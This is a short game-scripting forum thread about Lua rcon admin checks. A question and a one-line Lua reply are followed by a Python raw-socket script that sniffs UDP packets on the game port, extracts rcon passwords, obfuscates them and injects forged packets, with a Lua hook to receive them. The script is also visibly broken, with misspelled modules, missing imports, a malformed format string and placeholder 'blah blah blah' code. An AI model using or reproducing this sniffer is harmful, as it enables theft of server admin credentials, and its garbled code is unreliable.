LUA question - Rcon
Deleted UserIf player with console type: rconpw <rightpassword> or
rconpassword <rightpassword>
then variable admin[<WHO TYPE IT]=true
Can you help me please?
Scripts
LUA question - Rcon
LUA question - Rcon
1

LUA question - Rconif player(id,"rcon") then 	admin[id] = true end
Re: LUA question - Rconimport socket
from select import select
from impacket import ImpactDecoder, ImpactPacket
windows = 1
try:
	import fcntls
	windows = 0
except:
	pass
HOST = socket.gethostbyname(socket.gethostname())
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
s.bind((HOST, 0))
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if windows:
	s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
else:
	fcntls.ioctl(s, socket.SIO_RCVALL, socket.RCVALL_ON)
decoder = ImpactDecoder.IPDecoder()	
while True:
	packet,addr=s.recvfrom(0xffff)
	if not packet:
		sock.close()
		exit()
	else:
		packet = decoder.decode(packet)
		if not packet.get_ip_p() == ImpactPacket.UDP.protocol: continue
		ports = (packet.child().get_uh_sport(), packet.child().get_uh_dport())
		if not 36963 in ports: continue
		# rcon_pw -> WO RD ec ## pw_bytestring
		tag = packet.get_bytes()[0:2]
		type = packet.get_byte(2)
		if type != '\xec': continue
		ln = ord(packet.get_byte(3))
		buffer = packet.get_bytes()[4:4+ln]
		# Send an rcon msg
		# [WO RD] f1 [##] [ce da d4 c6 c4 d3 c6 d5 d3 c6 ce d0 d5 c6 c4 d0 cf d5 d3 d0 cd d1] [## ##] [d3 c4 d0 cf c4 ce]
		rcon_hash = [114, 99, 111, 110, 99, 109] #rconcm
		rcon_pw_hash = [109, 121, 115, 101, 99, 114, 101, 116, 114, 101, 109, 111, 116, 101, 99, 111, 110, 116, 114, 111, 108, 112] #mysecretremotecontrolp
		payload = "RCONPWPAYLOAD:%s:%s:%s"%(addr,ports[0],"".join([chr((rcon_pw_hash[i%len(rcon_pw_hash)]+ord(v))%0xff) for i,v in enumerate(list(buffer))]))
		payload = "".join([chr((rcon_hash[i%len(rcon_hash)]+ord(v))%0xff) for i,v in enumerate(list(payload))])
		payload = struct.pack('h',len(payload))[::-1]+payload
		udp = ImpactPacket.UDP("%s\xf1%s%s%s"(tag,chr(ln),buffer,payload))
		udp.set_uh_sport(ports[0])
		udp.set_uh_dport(ports[1])
		ip = ImpactPacket.IP()
		ip.contains(udp)
		ip.set_ip_address(packet.get_ip_address())
		
		s.sendto(ip.get_packet(), (addr,ports[1]))
-- assuming that totable/string.split is defined
addhook("rcon", "mim")
function mim(cmds, ...)
	if cmds:sub(1,#"RCONPWPAYLOAD") == "RCONPWPAYLOAD" then
		blah blah blah
		return 1
	end
end
1
